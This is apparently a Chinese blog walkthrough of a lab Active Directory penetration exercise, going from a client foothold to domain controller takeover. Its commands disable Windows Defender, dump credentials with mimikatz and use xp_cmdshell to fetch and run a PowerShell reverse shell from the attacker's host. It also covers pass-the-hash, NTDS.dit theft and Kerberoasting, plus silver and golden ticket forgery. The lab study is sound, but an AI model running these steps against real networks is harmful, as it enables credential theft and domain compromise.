Offensive域环境靶场渗透

环境配置

1
2
3
192.168.159.10(offensive-client/win10)
192.168.159.20(offensive-sql-server/windows server 2016)
192.168.159.200(Domain Controller/windows server 2016)

账号信息

1
2
3
Machine Offensive-User - Alice/Password1
Machine Offensive-SQLServer1 - dbadmin:Password!
Machine Offensive-DC - Administrator:Password@

要求获取域控权限,且只能使用客户机提供的工具以及powershell,已经拥有192.168.159.10的一个用户权限,工具已经放在主机内。

Powershell基础命令

1
powershell.exe -ep Bypass -nop -noexit -c iex ((New ObjectNet.WebClient).DownloadString(‘https://[website]/malware.ps1′))

在没有默认PowerShell解释器的情况下运行脚本

1
powershell.exe –ep Bypass “& {Get-Content .\malware.ps2 | iex}

测试域关系

1
2
3
4
5
Get-Credential 
Test-ComputerSecureChannel
Test-ComputerSecureChannel -Server "dc.offensive.local"
Test-ComputerSecureChannel -Repair
Test-ComputerSecureChannel -verbose

导入模块

1
2
. .\powerview.ps1
Import-Module powerview.ps1

禁用Windows defender命令

1
Set-MpPreference -disablerealtimeMonitoring $true

特权提升

域中用户的当前权限

1
2
C:\> whoami
C:\> net localgroup administrators

导入PowerUp脚本以查找本地特权升级漏洞

1
2
3
4
5
6
PS C:\>Powershell -ep bypass
PS C:\>cd C:\Users\alice\Desktop\tools
PS C:\>. .\Powerup.ps1
PS C:\>Invoke-AllChecks -verbose
PS C:\>Write-ServiceBinary -ServiceName VulnService -UserName "offensive\alice" -Password Password! //指定添加用户,用户密码以及添加的用户组
PS C:\>cp .\service.exe "C:\Program Files\Vuln Service\VulnService.exe"

检查服务状态

1
C:\>sc qc VulnService

立即重新启动系统。

原来的Administrator为offensive\Domain Admins,使用Write-ServiceBinary添加用户后看到Administrator权限的还加了一个offensive\Alice

域枚举

使用管理员权限打开Powershell并禁用Windows Defender

1
PS C:\>Set-MpPreference -disablerealtimeMonitoring $true

加载Mimimikatz并从lsass进程中转储凭证。

1
2
3
4
PS C:\>cd C:\Users\alice\Desktop\tools\mimikatz_trunk\x64
PS C:\Users\alice\Desktop\tools\mimikatz_trunk\x64>.\mimikatz.exe
mimikatz # privilege::debug
mimikatz # sekurlsa::logonpasswords

导入PowerView进行域枚举。

1
2
PS C:\>cd C:\Users\alice\Desktop\tools
PS C:\>Import-Module powerview.ps1

获取当前域和域控制器

1
2
PS C:\>Get-NetDomain
PS C:\>Get-NetDomainController

获取当前域中的用户列表

1
2
PS C:\>Get-NetUser
PS C:\>Get-NetUser | select name

获取当前域中的所有组

1
2
3
4
5
PS C:\>Get-NetGroup
PS C:\>Get-NetGroup | select name
PS C:\>Get-NetGroup *admin* | select name
PS C:\>Get-NetGroup -UserName Alice
PS C:\>Get-NetGroup "Domain Admins"

获取当前域中的计算机列表

1
2
PS C:\>Get-NetComputer
PS C:\>Get-NetComputer | select name
1
2
3
4
5
6
7
PS C:\Users\Alice\Desktop\tools> Get-NetComputer | select name

name
----
DC
SQL1
CLIENT1

导入PowerUpSQL powershell脚本以枚举域中的sql server。

1
2
PS C:\>cd C:\Users\alice\Desktop\tools\PowerUpSQL
C:\Users\alice\Desktop\tools\PowerUpSQL>. .\PowerUpSQL.ps1

发现SQL 实例并检查可访问性

1
PS C:\Users\alice\Desktop\tools\PowerUpSQL>Get-SQLInstanceDomain | Get-SQLConnectionTest

收集有关SQL实例的信息

1
PS C:\Users\alice\Desktop\tools\PowerUpSQL>Get-SQLServerInfo -Instance Offensive-SQL1

自动扫描SQL实例是否配置错误

1
PS C:\Users\alice\Desktop\tools\PowerUpSQL>Invoke-SQLAudit -Instance Offensive-SQL1 -verbose

管理员侦察

查找当前域中用户具有本地管理员访问权限的所有计算机。

1
2
3
PS C:\Users\alice\Desktop\tools>Set-MpPreference -disablerealtimeMonitoring $true
PS C:\Users\alice\Desktop\tools>. .\Powerview.ps1
PS C:\Users\alice\Desktop\tools>Find-LocalAdminAccess -verbose

查找域管理员或指定的用户/组具有会话的计算机。

1
PS C:\>Invoke-UserHunter -checkAccess -verbose

横向运动

打开HeidiSQL并使用Windows身份验证连接到Offensive-SQL1服务器。执行以下查询。

1
EXEC master..xp_cmdshell 'whoami'

如果xp_cmdshell被禁用:

1
2
3
4
5
EXEC sp_configure 'show advanced options',1
RECONFIGURE
EXEC sp_configure 'xp_cmdshell',1
RECONFIGURE
EXEC master..xp_cmdshell 'whoami'

启动将连接反向shell的powercat侦听器。

1
2
3
PS C:\>cd C:\Users\alice\Desktop\tools
PS C:\Users\alice\Desktop\tools> . .\powercat.ps1
PS C:\Users\alice\Desktop\tools> powercat -l -v -p 443

使用hfs服务器托管反向Shell。

1
EXEC master..xp_cmdshell 'powershell "iex(New-Object Net.WebClient).DownloadString(''http://192.168.159.10/Invoke-PowerShellTcpOneLine_443.ps1'')"'

如果上述命令不起作用,对反向外shell进行编码。

1
2
PS C:\Users\alice\Desktop\tools> . .\Invoke-Encode.ps1
PS C:\Users\alice\Desktop\tools> Invoke-Encode -DataToEncode .\Invoke-PowerShellTcpOneLine_443.ps1 -OutCommand

机器上的当前登录用户。

1
PS C:\Windows\system32>whoami

禁用Windows Defender。

1
PS C:\Windows\system32>Set-MpPreference -disablerealtimeMonitoring $true

从受害机器上传输Mimikatz。

1
2
3
4
5
PS C:\Windows\system32>cd c:\
PS C:\>mkdir temp
PS C:\>cd temp
PS C:\temp>iwr -Uri http://192.168.159.10/mimikatz.exe -OutFile mimikatz.exe -UseBasicParsing
PS C:\temp> dir

iwr 命令详解

Invoke-WebRequest 调用网络请求

UseBasicParsing 使用基本解析

OutFile 保存到文件

https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.utility/invoke-webrequest?view=powershell-6

加载Mimimikatz并从lsass进程中转储凭证。

1
PS C:\temp> .\mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" exit

Pass the Hash

在Alice(client)命令行上运行它(需要Administrators权限,当时折腾了挺久没成功)。Pass the hash并根据哈希值生成令牌

1.获取本机用户名、口令、sid、LM hash、NTLM hash

1
sekurlsa::logonpasswords

2.mimikatz Pass the Hash 攻击

1
PS C:\temp> .\mimikatz.exe "privilege::debug" "sekurlsa::pth /user:dbadmin /domain:offensive.local /ntlm:fc525c9683e8fe067095ba2ddc971889 /run:powershell.exe" exit

参数说明:

/domain:当前域名称

/user: dbadmin(也就是Offensive-SQL1)

/domain: 所在域

/ntlm: dbadmin的hash

/run: 派生的命令

域管理员权限

在使用dbadmin标记执行的Spawn 出的powershell会话。

1
2
3
4
5
6
PS C:\Windows\system32> whoami
PS C:\Windows\system32> net config Workstation
PS C:\Windows\system32> Enter-PSSession -ComputerName dc.offensive.local
PS C:\Windows\system32> Set-MpPreference -disablerealtimeMonitoring $true

https://docs.microsoft.com/zh-cn/powershell/module/microsoft.powershell.core/enter-pssession?view=powershell-6

(这里没能成功,我觉得是因为环境配置的域关系不对,使用PtH攻击无法登录到域控,显示连接的远程服务账号或者密码错误,所以我直接登陆域控复制的NTDS.dit文件)

排查下错误:Windows powerShell远程连接服务器

1
2
3
4
5
先用账户密码 试试连接成功不。反推问题
$uname="offensive\dbadmin"                                                      
$pwd=ConvertTo-SecureString "Passw0rd!" -AsPlainText –Force                   
$cred=New-Object System.Management.Automation.PSCredential($uname,$pwd)
Enter-PSSession -ComputerName dc.offensive.local -Credential $cred

offensive-SQL1尝试使用账号密码登陆域控的时候,弹出域控不受信任,请锁屏后重新登陆的信息,可以判定是域信任问题

1.转储Active Directory数据库(NTDS.dit 活动目录的数据库文件)。将Ninjacopy Powershell脚本托管在hfs服务器上,并将其传输到域控制器上。

1
2
3
PS C:\Windows\system32>iwr -Uri http://192.168.159.10/Invoke-NinjaCopy.ps1 -OutFile Invoke-NinjaCopy.ps1 -UseBasicParsing
PS C:\Windows\system32>. .\Invoke-NinjaCopy.ps1
PS C:\Windows\system32>Invoke-NinjaCopy -Path C:\Windows\NTDS\ntds.dit -Verbose -LocalDestination 'C:\Users\dbadmin\Desktop\ntds.dit'

Invoke-NinjaCopy 拷贝ntds.dit

该脚本可以打开整个卷(如C:)的读取句柄并解析 NTFS 结构,从而从一个 NTFS 卷复制文件。此操作需要目标服务器的管理员权限。利用此脚本可以绕过以下保护措施:

  1. 一个已被进程打开且不能被其他进程操作的文件,如 Ntds.dit 文件或注册表中的 SYSTEM hive 配置文件。
  2. 已被设置 SACL 标志的文件,在打开此类文件时,会有提醒(此脚本没有使用 Win32 API 打开文件,因此Windows 没有反应)。
  3. 绕过 DACL ,例如 DACL 只允许 SYSTEM 权限打开一个文件。

如果指定了 LocalDestination 参数,则文件将被复制到本地服务器(脚本正在从运行的服务器)中指定的文件路径。

如果指定了 RemoteDestination 参数,则该文件将被复制到远程服务器中指定的文件路径。

该脚本使用了 cyb70289 的NTFS解析代码并已发布到了 CodePlex 上进行 NTFS 结构解析。由于 NTFS 解析代码使用 C++ 编写,所以我将代码编译到了一个 DLL 中,并通过反射使用 PowerShell 的 Invoke-ReflectivePEInjection.ps1 脚本加载它。

2.保存系统文件。

1
PS C:\Windows\system32>reg save HKLM\SYSTEM C:\Users\dbadmin\Desktop\SYS

3.使用powershell copy-item命令在受害机器上传输ntds.dit和SYS文件。

1
2
PS C:\>Copy-Item '\\dc.offensive.local\C$\Users\dbadmin\Desktop\ntds.dit' -Destination '\\Client1.offensive.local\C$\Users\alice\Desktop\tools\ntds.dit'
PS C:\>Copy-Item '\\dc.offensive.local\C$\Users\dbadmin\Desktop\SYS' -Destination '\\Client1.offensive.local\C$\Users\alice\Desktop\tools\SYS'

4.在受害者计算机(Alice)上,执行以下命令以检索所有用户的NTLM哈希。

1
2
3
PS C:\Users\alice\Desktop\tools>Get-BootKey -SystemHivePath 'SYS'
PS C:\Users\alice\Desktop\tools>$key = Get-BootKey -SystemHivePath 'SYS'
PS C:\Users\alice\Desktop\tools>Get-ADDBAccount -All -DBPath 'C:\Users\Alice\Desktop\tools\ntds.dit' -BootKey $key

Get-BootKey:从SYSTEM文件读取BootKey

Get-ADDBAccount -All -DBPath 'C:\Users\Alice\Desktop\tools\ntds.dit' -BootKey $key 获取所有账户信息

4.报错:

Get-ADDBAccount : The database is not in a clean state. Try to recover it first by running the 'esentutl /r edb /d'

5.使用Windows esentutl二进制文件修复ntds.dit文件并进行传输

1
2
3
[dc.offensive.local]: PS C:\Users\dbadmin\Desktop>esentutl.exe /p 'C:\Users\dbadmin\Desktop\ntds.dit' /!10240 /8 /o

[dc.offensive.local]: PS C:\Users\dbadmin\Desktop>Copy-Item '\\dc.offensive.local\C$\Users\dbadmin\Desktop\ntds.dit' -Destination '\\Client1.offensive.local\C$\Users\alice\Desktop\tools\ntds.dit'

6.在受害计算机上,再次执行以下命令以检索所有用户的NTLM哈希。

1
PS C:\Users\alice\Desktop\tools>Get-ADDBAccount -All -DBPath 'C:\Users\alice\Desktop\tools\ntds.dit' -BootKey $key

跑出所有用户hash

Kerberoasting

步骤1:在Active Directory中扫描设置了SPN值的用户帐户。

1
PS C:\Users\alice\Desktop\tools\kerberoast\kerberoast-master>. .\GetUserSPNs.ps1

2.使用SPN值从AD请求服务票证

1
2
PS C:\Users\alice\Desktop\tools\kerberoast\kerberoast-master>Add-Type –AssemblyName System.IdentityModel
PS C:\Users\alice\Desktop\tools\kerberoast\kerberoast-master>New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken –ArgumentList 'MSSQLSvc/Offensive-SQL1:1433'

Add-Type

-AssemblyName 指定包含类型的程序集的名称

https://github.com/nidem/kerberoast

步骤3:将服务票证提取到内存中并保存到文件

1
2
3
PS C:\>cd C:\Users\alice\Desktop\tools\mimikatz_trunk\x64
PS C:\Users\alice\Desktop\tools\mimikatz_trunk\x64>.\mimikatz.exe
mimikatz # kerberos::list /export

将票证复制到C:\Users\alice\Desktop\tools\kerberoast\kerberoast-master文件夹中

4.破解Offensive-SQL1密码

1
PS C:\Users\alice\Desktop\tools\kerberoast\kerberoast-master>python tgsrepcrack.py pass.txt "copied-ticket-name.kirbi"

Silver Ticket

Silver Tickets(下面称银票)就是伪造的ST(Service Ticket),因为在TGT已经在PAC里限定了给Client授权的服务(通过SID的值),所以银票只能访问指定服务。

常用的服务名有以下:

1
2
3
4
5
6
7
8
服务名称                    同时需要的服务
WMI HOST、RPCSS
PowerShell Remoting HOST、HTTP
WinRM HOST、HTTP
Scheduled Tasks HOST
Windows File Share CIFS
LDAP LDAP
Windows Remote Server RPCSS、LDAP、CIFS

制作银票的条件:

1.域名称

2.域的SID值

3.域的服务账户的密码HASH

4.伪造的用户名,可以是任意用户名,这里是silver

利用过程

首先我们需要知道服务账户的密码HASH,这里同样拿域控来举例,通过mimikatz查看当前域账号administrator的HASH值。注意,这里使用的不是Administrator账号的HASH,而是Offensive-SQL1:1433的HASH。SID为Alice的SID。

1.获取本机用户名、口令、sid、LM hash、NTLM hash

1
sekurlsa::logonpasswords

2.使用Mimikatz命令kerberos::golden,传递域SID,目标主机名,服务名称,服务帐户的NTLM哈希,用户名和组信息,以创建Silver Ticket

参数说明:

/domain:当前域名称

/sid:SID值,和金票一样取前面一部分

/target:目标主机,这里是Offensive-SQL1:1433

/service:服务名称,这里需要访问共享文件,所以是MSSQLSvc

/rc4:目标主机的HASH值

/user:伪造的用户名

/ptt:表示的是Pass TheTicket攻击,是把生成的票据导入内存,也可以使用/ticket导出之后再使用kerberos::ptt来导入

1
2
PS C:\>cd C:\Users\alice\Desktop\tools\mimikatz_trunk\x64
PS C:\Users\alice\Desktop\tools\mimikatz_trunk\x64>.\mimikatz.exe
1
mimikatz # kerberos::golden /sid:S-1-5-21-1187620287-4058297830-2395299116-1103 /domain:offensive.local /target:Offensive-SQL1:1433 /service:MSSQLSvc /rc4:fc525c9683e8fe067095ba2ddc971889 /user:idontexist /id:1103 /ptt

3.spawn 一个会话

1
mimikatz # misc::cmd

4.这时通过klist查看当前会话的kerberos票据可以看到生成的票据。

1
klist

或者上传mimikatz使用以下命令

1
2
C:\Users\Alice\Desktop\tools\mimikatz_trunk\x64>.\mimikatz.exe
mimikatz # kerberos::list

权限维持

Golden Ticket

Golden Ticket(下面称为金票)是通过伪造的TGT(TicketGranting Ticket),因为只要有了高权限的TGT,那么就可以发送给TGS换取任意服务的ST。可以说有了金票就有了域内的最高权限。

制作金票的条件:

1、域名称

2、域的SID值

3、域的KRBTGT账户密码HASH

4、伪造用户名,可以是任意的

利用过程

1.金票的生成需要用到krbtgt的密码HASH值,可以通过mimikatz中的

1
lsadump::dcsync /dc.offensive.local /user:krbtgt

2.使用Mimikatz命令kerberos::golden,传递域名SID,域名,krbtgt帐户的NTLM哈希,用户名和组信息以创建Golden Ticket,即为伪造成功的TGT。

1
2
PS C:\>cd C:\Users\alice\Desktop\tools\mimikatz_trunk\x64
PS C:\Users\alice\Desktop\tools\mimikatz_trunk\x64>.\mimikatz.exe
1
mimikatz # kerberos::golden /sid:S-1-5-21-1187620287-4058297830-2395299116 /domain:offensive.local /rc4:61d83c569b93bfcd4ca2087011361caa /user:idontexist /id:500

参数说明:

/admin:伪造的用户名

/domain:域名称

/sid:SID值,注意是去掉最后一个-后面的值

/krbtgt:krbtgt的HASH值

/ticket:生成的票据名称

3.通过mimikatz中的kerberos::ptt功能(Pass The Ticket)将ticket.kirbi导入内存中。

1
2
3
mimikatz # kerberos::purge
mimikatz # kerberos::ptt ticket.kirbi
mimikatz # kerberos::list

4.spawn出命令提示符特权访问DC

1
2
mimikatz # misc::cmd
mimikatz # kerberos::tickets
1
c:\>dir \\dc.offensive.local\c$


之前有想过把环境搭在公司服务器,但是硬盘只剩下60G,所以也没能成功。从Workerstation迁移到vSphere也踩过不少坑,具体步骤参考

vmware vsphere 打开本地的虚拟机资源,workstation中的虚拟机导入到vsphere - Katios

把Workstation的虚机迁移到vSphere - Matrix_Designer的专栏

(光环境我就下了一天,我裂开了。

环境解压密码:bsidessg@2019

Machine Offensive-DC登陆密码应该是 Administrator:Password@而环境自带的密码是Passw0rd@,当时试了好久都没登陆成功

参考:

[Powershell 提权框架-Powerup](https://wooyun.js.org/drops/Powershell 提权框架-Powerup.html)

从内网到域控(offensive实战)

Active Directory简介

我所了解的内网渗透——内网渗透知识大总结

powershell反弹shell常见方式

转储活动目录数据库凭证的方法总结

Attacking Kerberos Delegation

利用Powershell快速导出域控所有用户Hash | WooYun知识库

https://github.com/nidem/kerberoast

三好学生博客

域渗透相关

-------------本文结束感谢您的阅读-------------